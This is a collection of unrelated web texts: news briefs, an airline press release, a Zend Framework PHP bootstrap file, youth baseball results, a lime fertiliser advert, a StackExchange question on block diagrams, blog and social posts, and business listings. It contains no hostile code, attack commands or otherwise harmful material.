Earlier, Copenhagen said it suspected an Iranian intelligence service of plotting to assassinate the leader of the Danish branch of an ethnic Arab separatist movement in Iran.
Reporting by Teis Jensen; Editing by Gareth Jones


text:
American Airlines and…
American Airlines and British Airways to Launch Joint Operations
American Airlines and British Airways announced more details regarding plans to co-locate operations at John F. Kennedy International Airport's (JFK) Terminal 8 beginning Dec. 1, 2022. Enabled by a $400 million investment to redevelop, expand and enhance the terminal, the move will bring the Atlantic Joint Business partners closer together. Jointly, the terminal investments and co-location will offer a more seamless customer experience while supporting the Port Authority of New York and New Jersey's ambitious plan to transform JFK into a leading global airport.
"American is eager to welcome British Airways to their new home at JFK," said American's Chief Customer Officer Alison Taylor. "Their move to Terminal 8 further deepens our longstanding partnership and makes it easier than ever for customers traveling between New York and London or onward across our global networks."
American and British Airways were the first carriers to begin redevelopment efforts at JFK, breaking ground in Jan. 2020 on five new widebody gates, four new widebody hardstand parking positions, an enhanced baggage handling system, new customer amenities and expanded premium guest offerings — including approximately 130,000 square feet of new and renovated terminal space.
Tom Stevens, British Airways' Director of Brand and Customer Experience said: "New York holds a special place in our heart as one of our most well-loved and important destinations. Our move to the redeveloped and expanded Terminal 8 will bring a range of benefits for our customers, including a better transfer experience, enabling them to travel to more than 30 destinations across the U.S., Caribbean and Latin America with American Airlines.
British Airways will remain in Terminal 7 until Dec. 1, 2022, and we have continued to invest in the experience for our customers, including our check-in area, concessions and lounges."
Further elevating the premium guest experience
When complete later this year, premium customers traveling on both airlines and other oneworld partners will have access to a reimagined journey through JFK depicted by newly released artist illustrations.
As customers arrive at Terminal 8, a co-branded premium check-in area providing personalized, concierge-style service for top-tier guests will replace American's former Flagship First Check-In space. Thoughtfully designed architectural elements will also define an exclusive new check-in space for eligible business customers.
Once through security, three distinctive custom lounges combining the best of both brands will provide a refined, welcoming preflight experience for select guests based on cabin of travel and loyalty program status. The expanded premium lounge offerings will incorporate seating for approximately 1,000 of American and British Airways' most loyal customers. Each lounge has been designed with original high-end finishes — evoking a unique sense of space while elevating the experience and service offered to every guest.
Tags: American Airlines British Airways
Spirit Airlines Kicks Off 2022 with a Salt Lake City Debut
Hilton Announces Signing of Hilton N'Djamena Toumaï Palace


Thankfully this weekend was a goal-achieving success, because the rest of the week had me getting all kinds of depressed. So rather than recap the bad things, let's recap the good, ok?
Hi, I'm Whitney! Wife to Prince Charming and mom of two gorgeous girls, I am also an author, speaker, and Jesus follower. I love writing, books, bags, and all things creative.
Making the Most exists so that I can share with you how we make the most of what we have and the most of each day we've been given with the hope that you can make the most of what you have too.
Copyright Making the Most Blog [2012-2018] - All Rights Reserved.


text:
<?php

// unfortunately ARC2 does not yet support E_STRICT
//error_reporting(E_ALL|E_STRICT);
error_reporting(E_ALL);

// APPLICATION_PATH is a constant pointing to our
// application/subdirectory. We use this to add our "library" directory
// to the include_path, so that PHP can find our Zend Framework classes.
define('APPLICATION_PATH', realpath(dirname(__FILE__)));

set_include_path(
	APPLICATION_PATH . '/controllers/' . PATH_SEPARATOR .
	APPLICATION_PATH . '/plugins/' . PATH_SEPARATOR .
	APPLICATION_PATH . '/../library/' . PATH_SEPARATOR .
	get_include_path()
);

require_once 'Zend/Loader/Autoloader.php';
$autoloader = Zend_Loader_Autoloader::getInstance();
$autoloader->setFallbackAutoloader(true);

$registry = Zend_Registry::getInstance();

if(!is_file(APPLICATION_PATH . '/../config/config.ini'))
	die('Origo error: config/config.ini not found!');

$config = new Zend_Config_Ini(APPLICATION_PATH . '/../config/config.ini');
$registry->config = $config;

// should be disabled on public servers
if($config->misc->environment == 'development') {
	ini_set('display_errors', 1);
}
else {
	ini_set('display_errors', 0);
}

if(!is_writable(APPLICATION_PATH . '/../' . $config->caching->dir)) {
	die('Origo error: Cache directory is not writable.');
}

unset($config, $registry);

redpajama_set_name: RedPajamaGithub


Louisiana Knights 17U Black defeated Knoblauch 15U, 10-0, in Game 1 from McNeese. Jake Lamkin was the player of the game. He threw five innings with seven strikeouts, one hit, and zero earned runs. William Duncan was the hitter of the game. He went 3-4 with a double and four RBI. Skipper Snypes went 2-3 with a triple and an RBI. Garrett Felix went 2-2 with two RBI, a stolen base, and a walk.
Louisiana Knights 17U Green defeated GBG Texas 17U, 5-2, in Game 2 from McNeese. Elijah Rodriguez was the player of the game. He went 1-1 with a double, a run scored, stolen base, and two walks. Christopher Morrow was the hitter of the game. He went 2-3 with an RBI. Sean-Michael Brady threw 3.1 innings with three strikeouts, two hits, and zero earned runs.
Texarkana Bulldogs 17U defeated GBG Texas, 5-1, in Game 3 from McNeese State. Marzavin Riles was the player of the game. He went 2-2 with an inside-the-park home run, four RBI, and two runs scored. Carter McPherson was the pitcher of the game. He threw 3.2 innings with four strikeouts, three hits, and zero earned runs.
GBG Texas defeated Knoblauch 15U, 9-0, in Game 1 from McNeese. Ian Young was the player of the game. He threw five innings with one hit and zero earned runs. Elijah Rodriguez was the hitter of the game. He went 2-3 with a triple, RBI, and a run scored.
Louisiana Knights White defeated GBG Texas 16U, 14-3, in Game 2 from McNeese. Matthew Glover was the player of the game. He went 2-2 with a double and four RBI. He also threw four innings with four strikeouts, three hits, and an earned run.
Team Louisiana 17U defeated Knoblauch 15U, 8-1, in Game 3 from McNeese. Cameron Meeks was the player of the game. He threw four innings with nine strikeouts, two hits, and one earned run. Ethan Goss went 2-3 with a double and an RBI.
Welcome to the @PocketRadar Five Tool #90Club@team_louisiana 17U RHP Cameron Meeks (@CameronMeeks6) has five strikeouts in two innings.
Team Louisiana 17U defeated Louisiana Knights White, 6-2, in Game 4 from McNeese. Will Thompson was the player of the game. He threw 5.1 innings with six strikeouts, four hits, and one earned run. Braden Duhon was the hitter of the game. He went 3-3 with an RBI, run scored, and two stolen bases.
Louisiana Knights White defeated Knoblauch 15U, 16-1, in Game 1 from McNeese. Matthew Glover was the player of the game. He went 3-3 with three RBI and two runs scored.
Knoblauch 17U Westbrooks defeated Texarkana Bulldogs, 9-6, in Game 2 from McNeese. Armando Soto was the player of the game. He went 3-3 with two doubles and four RBI. Isaac Villafan was the pitcher of the game. He threw 6.1 innings with eight strikeouts and three earned runs.
Team Louisiana 17U defeated Knoblauch 17U, 10-0, in Game 3 from McNeese. Evan Goss was the player of the game. He went 1-2 with a double and two RBI. He also threw three innings with one hit and zero earned runs. Britton Mulhern was the hitter of the game. He went 3-4 with two doubles and two RBI. Cameron Meeks went 3-4 with an RBI. Silas Ardoin went 2-4 with a double and a stolen base. Hunter Gotreaux went 3-4 with three RBI.
Kasten Furr (@kasten_furr) drives in two runs for @team_louisiana 17U with a double to right field.
Team Louisiana 17U defeated Knoblauch 17U Westbrooks, 7-1, in Game 1 from ULL. Austin Acree was the player of the game. He threw four innings with three strikeouts, three hits, and zero earned runs. Caleb Reese was the hitter of the game. He went 3-4 with a double and an RBI. Kasten Furr went 2-3 with a double, RBI, and a stolen base.
.@team_louisiana 17U's Silas Ardoin (@SilasArdoin5) singles to left center field.
Knoblauch 17U Knoblauch defeated Louisiana Knights White, 5-4, in Game 2 from ULL. Kenneth Dutka was the player of the game. He went 2-3 with two RBI.
Knoblauch 17U Westbrooks defeated Louisiana Knights Green, 11-7, in Game 1 from ULL. Jacob Pappas was the player of the game. He threw four innings with three strikeouts, three hits, and two earned runs. Brett Bazarsky was the hitter of the game. He went 4-4 with two RBI and a stolen base.
Louisiana Knights Black defeated Knoblauch 17U Westbrooks, 11-0, in Game 2 from ULL. Lane Hutchinson was the player of the game. He threw a six inning complete game with five strikeouts, two hits, and zero earned runs. Jack Hay was the hitter of the game. He went 2-4 with a double and three RBI. Kody Guidry went 2-3 with a double and two RBI. Owen Hnatyshyn went 3-4 with an RBI.
Louisiana Knights Green defeated Knoblauch 17U Knoblauch, 11-5, in Game 3 from ULL. Jake Holifield was the player of the game. He went 2-3 with a triple, four RBI, and a walk. Jacob Burke was the hitter of the game. He went 2-3 with a double, three RBI, a stolen base, and a walk. Jordan Morris went 2-2 with a triple, RBI, and a walk.
GBG Texas 17U defeated Texarkana Bulldogs, 5-0, in Game 4 from ULL. Christopher Morrow was the player of the game. He threw 6.2 innings with 10 strikeouts, four hits, and zero earned runs.
Knoblauch 17U Knoblauch tied Texarkana Bulldogs, 3-3, in Game 5 from ULL.
Louisiana Knights Black defeated GBG 16U, 13-0, in Game 1 from ULL. Garret Felix was the player of the game. He threw five innings with six strikeouts, four hits, and zero earned runs. Jack Hay was the hitter of the game. He went 2-3 with a triple and three RBI. Billy Garrity went 2-3 with a double and an RBI.
Louisiana Knights Green defeated GBG Texas 16U, 10-2, in Game 2 from ULL. Andre Beaudoin was the player of the game. He threw four innings with six strikeouts, three hits, and zero earned runs. Sean-Michael Brady was the hitter of the game. He went 2-2 with a triple and four RBI.
Louisiana Knights Black tied GBG Texas 17U, 9-9, in Game 3 from ULL. Robert Villa was the player of the game. He went 3-4 with four RBI. Dax Ford went 3-4 with two RBI and a walk.
Billy Garrity crushes a double off the right field wall to drive in two runs for @LouisianaKnight 17U Black.


As the autumn sowing season nears, it is important to remember that 100% of the available yield of a given crop has the potential of being released only when the seed is in the bag. As soon as the seed bag is opened, various factors will combine to reduce that available yield. Once yield potential is lost, it cannot be regained, only maintained.
· Variety – chosen for yield or disease resistance or both?
· Sowing date - is it too early, is it too late, too dry, too wet?
· Lime – apply in autumn or spring, how much, what type?
· Spray - pre-emergent in the autumn or post-emergent in spring?
· Seedbed - roll or leave as is?
We have some control over these decisions. What we do not have control over is weather. The best we can do is ensure the crop is prepared for everything it may face. To do that we must ensure the young seed has everything it needs to grow into a strong young plant, prepared for the harsh winter season.
Critical to getting a young seed off to the best start is healthy and fertile soil. As the seed grows into seedlings and young plants, access to all of the soils nutrients is required to grow. Ensuring healthy and fertilie soil to encourage robust root systems is key, so as the plant awakens from dormancy come spring, it is able to begin vegetative and then reproductive growth without being held back by a lack of nutrients.
Three critical areas to address to ensure a healthy and fertile soil are: drainage, compaction and pH. Soil pH is usually the easiest of these to address. At a soil pH between 6.2 and 6.5, the vast majority of nutrients critical to achieving full yield potential are most available to the crop. As soil pH moves out of this range, critical nutrients get locked into the soil and as a result become unavailable to the plant. By maintaining a soil pH above 6.2, we can do our best to ensure the plant is not going to suffer deficiency and reduced yield as a result of unavailable nutrients.
G-Lime granulated lime is ideal to raise and maintain soil pH in the autumn to ensure your crops get off to the best start. 97.9% Reactive in 4-6 weeks, G-Lime begins to work immediately to raise soil pH. Available in various package size, G-Lime is easy to store on farm and can be applied to the seedbed prior to sowing, and can also be applied to the seedbed on the tramlines after sowing. Because G-Lime can be sowed in exactly the same manner as conventional fertiliser and with the same equipment, there is no need to co-ordinate with a contractor and compaction risk is minimised. G-Lime is very cost effective, with as little as 300kg/Ac able to raise soil pH by as much as 0.5.
G-Lime use to raise and maintain soil pH at target is ideal to help get plants off to the best start this autumn, and help to maintain all the yield potential that arrives in the seed bag.
Contact Kilwaughter Lime on 02828262132 for more on using G-Lime to get your winter crop off to the best start this autumn.


text:
Q: Programmatically draw block diagram in d3.js or graphviz or similar I would like to programmatically draw block diagrams of the type used in control theory and systems analysis. See for example http://en.wikibooks.org/wiki/Control_Systems/Block_Diagrams .
The best tool I have found is http://blockdiag.com/ however the edge labelling is not very nice: I require labels not in boxes and to the side of the edges.
To get an idea of the problem, I am getting (from blockdiag):
   http://interactive.blockdiag.com/?compression=deflate&src=eJyr5lJQcFTQtVNwAhHO1kAuGIC5LgrROYlJqTm2SklKsXApF4hymFQiSKoWABD8D8U
related qns:
    circuit/block-diagram drawing

A: You can programmatically draw SVG block diagrams with LaTeX-style MathJax labels by using this online tool: http://puzlet.com/m/b00b1.  The initial block diagram example here is a control system (http://en.wikipedia.org/wiki/State_observer).  Its source is CoffeeScript.  You edit the diagram source to suit your needs or start with a fresh canvas, and then export your diagram as SVG (standalone file or link to the diagram saved on server).

A: Soooooo late to the party, but now you don't have to chose between d3.js and graphviz. You can have both with d3-graphviz:

<!DOCTYPE html>
<meta charset="utf-8">

A: Well both d3.js and graphviz should be able to produce the kind of result you're looking for. If your question is which one to pick, it's easier to generate png or pdf files from gaphviz, but easier to create interactive visualizations with d3.js.

redpajama_set_name: RedPajamaStackExchange


Instagram post by @lifewithginag 𝑅𝑒𝑔𝒾𝓃𝒶 𝒢.
These fresh flowers are just giving me all the Spring Vibes today. Although it's cold out the sun is shinning and I've been on a roll with Spring Cleaning. Seeing this lovely bouquet 💐 on my kitchen table just reminds me that warmer temps are in our near future. 😉 Until then I'll continue my tidying up and getting rid of all things that do not spark me joy!! 🤣😉 💐Do you guys like buying fresh flowers for your home or do you prefer fake bouquets to last you longer?? .
@jerseyfashionista Omg really!!! 🤣 I didn't think to put those outside. Do they survive the rain??
Both! @traderjoes has the best fresh and I love @homegoods for faux! Those are so pretty btw!


text:
Eternal Champion by Frank Frazetta Art
Barbarian by Frank Frazetta Art
The Destroyer by Frank Frazetta Art
Chained by Frank Frazetta Art
Mastodon by Frank Frazetta Art
The Brain by Frank Frazetta Art
Death Dealer by Frank Frazetta Art Horror
Swords of Mars by Frank Frazetta Art
The Berserker by Frank Frazetta Art
The Mammoth by Frank Frazetta Art
Beauty and the Beast By Frank Frazetta Art
Princess and the Panther by Frank Frazetta Art
Kane on The Golden Sea by Frank Frazetta Art
Silver Warrior by Frank Frazetta Art
Wild Ride by Frank Frazetta Art
Warrior with Ball and Chain by Frank Frazetta Art


A recent documentary film, Arc of Light, is shedding light on the previously under-celebrated work of Anna Campbell Bliss '46.
Bliss was an art history and mathematics double major at Wellesley who then studied architecture at the Harvard University School of Design. Following her graduation from Harvard, Bliss moved to Minnesota to study the art of R. Buckminster Fuller before beginning her career as an artist in Utah. Arc of Light explores Bliss's ties to the Bauhaus movement and its influence on her work—specifically, how her work with Bauhaus artist Gyorgy Kepes influenced her to fuse art, science, and technology together into such artistic pieces as 2001's Extended Vision. That piece is composed of 100 anodyzed aluminum panels, extending through three floors of the Cowles Mathematics building at the University of Utah, and is the largest of Bliss' site specific works.
On her website, she says, "Often the most exciting ideas emerge at the intersection where more than one discipline meets," which has a very Wellesley ring to it. Her work is in collections from the Metropolitan Museum in New York to the Utah Museum of Fine Arts to the Minami Gallery in Tokyo, and points between.
Arc of Light has aired on various public television stations in both New York and New Jersey, and has also been shown in the National Gallery of Art in Washington, D.C. Watch for the film on your local public television station in order to experience the life and work of this talented Wellesley alumna.


text:
Toby the Rescue Found Home & Best Furiend
May 15 11
It was on a Sunday when Julie Falk was asked to foster a little 3 month old kitten that was abandoned outside. "I said I would do it, knowing that my daughter Emily, home from college, would be in love...." says Julie.
They named him Toby and were planning to find him a good home in 3 weeks because their cat Cally had never lived with another kitty, but it turned out that Toby was taken in by a much larger friend, a dog named Lucy. While Cally was not very pleased with the new comer, Lucy had a different story. "Gradually we introduced the new member of the household to Lucy, so she would know this was "her" cat... Eventually we let her sniff the cat. She was in love. After we felt it was safe, we put the kitten on the floor. Lucy laid down next to the little thing and assumed the nursing position, getting in occasional gentle licks. That was it. Lucy finally attained motherhood. Kitty is her puppy," Julie writes on her flickr.
"Still, the kitten needed a new home. I tried to remain a stauch supporter of my husband's position of 'no new cat'. But he was the one who fell in love and caved. Emily wins again, just as she did in 1994 with keeping Cally.
Photos courtesy Julie Falk (flickr: CaptPiper).
story cats rescued kitten news article kittens


Officer Bedford Brackeen was shot and killed by a suspect who approached him and his partner and began to argue with them.
The two officers were sitting in their patrol car next to the old bus stop at Clinton Street and Washington Street when the man approached them. The man began to argue with Officer Brackeen's partner about a previous incident involving the man's sister. The suspect then pulled out a revolver and opened fire on the partner. Officer Brackeen exited the patrol car and exchanged shots with the suspect. Officer Brackeen was shot three times but still attempted to chase the suspect before collapsing. The suspect was arrested near Nashville, Tennessee, two days later.
The suspect was convicted of first degree murder and sentenced to death June 24, 1941. On November 25, 1943, his sentence was commuted to life. He was paroled on January 14, 1951.
Officer Brackeen had served with the agency for 20 years.
Rest In Peace Officer Brackeen, your service and sacrifice is remembered.


As an Energy Advisor, I've found the following resources helpful and hope you will too. Sit back & click through.
Want to become an energy advisor?
Let's get in touch. Drop us a note here or call us (250) 896-1421 anytime.


Your fake shout-outs just keep getting better and better!
Since Chris and the team brought back Toby Lerone, our listeners have offered up some epic fake names, which they've used to get fake shout-outs across the UK.
As you can imagine, some are much ruder than others... Kareem Pye being one of them!
Watch our video above to hear some of the best.
And just in case one of the DJs that got duped sounds familiar, it's because it's none other than Radio X's Dan O'Connell giving a shout out to Dan Glebals in Hampshire!


Because of an editing error, part of the story headlined "Husband charged with ramming vehicles, officer" on Page B2 of Friday's Tribune was incorrectly omitted. The first two paragraphs should have read as follows: A LaPorte County man is charged with felonies and a misdemeanor after allegedly ramming vehicles and then allegedly nearly running over a police officer. Joseph Polick, 38, of the 6200 block of West Indiana 2, was charged with battery to a police officer and three counts of criminal mischief, all Class D felonies, along with resisting law enforcement and operating a vehicle while intoxicated, both Class A misdemeanors. The Tribune regrets the error.


Terms & Conditions The Art Antiques Gallery of New South Wales is one of Australia's foremost private gallery .
All the price tags you can see in the gallery include owners price and "Seller's Commission".
Before you buy any of the goods you must tell us in writing whether or not you will be liable for GST and other possible tax in connection with the supply of those goods/as a result of the purchasing those goods. If you want "from door to door" delivery, you just need to return the amount we pay as GST to deliver your goods.
When your purchase is very expensive we do "from door to door" delivery using our own couriers for security reasons.
Sometimes goods bought over the Internet from overseas have to be cleared to be finally delivered to you. You may have to pay duty and taxes when it happens.
* For goods that are equal to or under AUD 1,000, there are no duties, taxes or charges to pay.
* For goods that are more than AUD 1,000, you will need to fill out a special form called an Import Declaration, and pay duties, taxes and charges.
You do not have to pay duty and taxes on goods (excluding tobacco, tobacco products and alcohol) with a value of under AUD 1,000. These are called low value imports.
If these goods arrive in Australia by air or sea cargo, they must have a Self-Assessed Clearance (SAC) Declaration. This will generally be taken care of by the cargo company. There is no charge for this declaration. Goods arriving by post do not require a SAC declaration.
To import goods with a value over AUD1000, you need to make an Import Declaration. The import declaration provides information about the goods you are importing.
There is a processing charge for making an Import Declaration. You will also be required to pay the duty and taxes for your goods.
Consider that the date of payment could be the date of money transfer from your bank account to our corporative bank account, not the date of invoice.
If your goods are paid and delivered to you – you have 5 working days to make a decision to leave the goods or to return them.
In case there's a problem with the purchase, the Art Antiques Gallery Money Back Guarantee ensures that buyers receive the item they ordered or get their money back.
You have to pay for the goods shipping, back to one of the Art Antiques Gallery stores, including insurance, and when we receive our goods back, we return your money back immediately.
* Items damaged during pick-up or shipping or not delivered when the buyer arranges pick-up or shipping of the item (for instance, the buyer arranges freight).
* Items shipped to another address after original delivery.
I paid the Customs duty for the goods I imported but I returned them to the supplier because, "I changed my mind", "they don't fit", or "I don't like them". Can I get a refund of the duty?
No. Unfortunately, "a change of mind", "how they fit", or "simply not liking them", is not a refund circumstance under the legislation.
However, as an alternative option if you export the imported goods, subject to certain conditions, you may be entitled to return the duty paid.


West Virginia's only dinner theater! Enjoy the fine musicianship and performance quality of this Branson-style variety show… Features impersonations, good-time comedy interludes, and just pure fun for all ages! No matter how old you are, the "Gandy Dancers" bring you out of your seat with their charming, high energy performances!
From I-79, take exit 99 to Elkins. Turn south on Rt 33/219. Take a left at the traffic light onto South Randolph Street. At the intersection of 11th street (Rt 33/55), stay straight onto Beverly Pike. The Gandy Dancer Theatre is .2 miles on the left.


Kid Bedroom Interior Design Enchanting Kids Interior Design. Interior Design For Kids Pleasing Kids Interior Design. Childrens Bedroom Interior Alluring Kids Interior Design. Interior Design For Kids Entrancing Kids Interior Design.
Interior Design For Kids Pleasing Kids Interior Design Bedrooms. Childrens Bedroom Interior Alluring Kids Interior Design Bedrooms. Interior Design For Kids Entrancing Kids Interior Design Bedrooms. U003cinput Typehidden Prepossessing Kids Interior Design Bedrooms. Interior Design Kids Bedroom Endearing Kids Interior Design Bedrooms. Interior Design Kids Bedroom Captivating Kids Interior Design Bedrooms. Interior Design For Kids Cool Kids Interior Design Bedrooms.
Bedroom, Kids Interior Design Bedrooms was posted February 27, 2017 at 10:56 am by Home Design Ideas . More over Kids Interior Design Bedrooms has viewed by 4178 visitor.


This time of the year is crazy. Actually, it's crazy most of the year, but add in the holidays and we get super-charged craziness. Now how do we take it all on and remain balanced?
Water is essential for our bodies. Did you know that water makes up more than 2/3 of the human body weight? When our water levels drop, we see signs of dehydration: headaches, trouble focusing, difficulty with memory, and fatigue. It's recommended that we drink 8 cups of water per day, which equals 64 oz. I, on the other hand, drink nearly 100 oz a day. I feel that when I drink more water, I don't crave those sweets nearly as much.
Load Up on the Fruit and Veggies.
Amanda at Run to the Finish has a Holiday Bootie Buster Challenge. Each day, I can earn an extra point if I eat 7 servings of fruit/veggies. I enjoy rising to the challenge each day by making sure I get my 7 servings in each day. Craving something sweet? Grab an orange.
It would be crazy of me to suggest to you to stay away from all holiday goodies. I have found that if I go out of my way to avoid them, I crave them even more. Go ahead, live a little and eat those yummy treats at those holiday parties. You've got to enjoy life too, but don't go overboard.
Make it a priority to get your sweat on daily. Schedule it in if need be. It might not always work to get in an 8 mile run BUT you can definitely squeeze in a 30 minute workout, right?
I miss these days when she was so little!
Your body needs 6-7 hours a night to recover. I'm guilty of giving up my sleep when the tough gets going, but I have found I am a much nicer person to be around when I get my sleep. My family, friends and students all benefit from a well rested me.
There you have it. My 5 tips to maintain balance during the holidays.
Great tips! You are so right about the water!


text:
Third Person Arrested in Killing of South Florida Rapper XXXTentacion
Robert Allen was allegedly caught on surveillance camera at a Deerfield Beach motorcycle shop minutes before XXXTentatcion, whose real name was Jahseh Onfroy, was shot and killed on June 18
Robert Allen is one of four people who have already been indicted on first-degree murder and armed robbery charges
XXXTentacion was part of several chart-topping songs, including "Sad," which rose to No. 1 in the week following his death
A third man indicted in the shooting death of South Florida-based rapper XXXTentacion has been arrested.
U.S. Marshals confirmed that 22-year-old Robert Allen was arrested at the home of his sister on Wednesday near Macon, Georgia, after federal agents received information he was in the area.
Allen was allegedly caught on surveillance camera at a Deerfield Beach motorcycle shop minutes before XXXTentatcion, whose real name was Jahseh Onfroy, was shot and killed on June 18.
Officials said a struggle ensued when two masked gunmen approached the rapper's sports car and XXXTentacion was shot multiple times. The gunmen fled with a Louis Vitton bag containing $50,000.
It wasn't immediately clear if Allen had an attorney.
A total of four people have been indicted on first-degree murder and armed robbery charges, with two of them — 22-year-old Dedrick Williams and 22-year-old Michael Boatwright — already in custody. Only Trayvon Newsome, 20, remains at large as of Thursday morning.
A Broward County native who was living in Parkland at the time of his death, XXXTentacion was part of several chart-topping songs, including "Sad," which rose to No. 1 in the week following his death.


Commonwood Manor is a beautiful building with high ceilings, panoramic views of the Looe valley, and grand fireplaces. We have sympathetically restored the building so that tradition and history are respected but now come with all the comforts you'd expect from a modern bed and breakfast.
Despite the grand surroundings, the atmosphere is very relaxed and friendly and our prices are very competitive.
All of our bedrooms are situated on the second floor, and are accessible via a large sweeping staircase which is fully hand-railed on the left hand side as you ascend. There is level access to the main garden and terrace from the front doors.
Parking is available immediately outside of Commonwood Manor. We have space for up to 16 cars.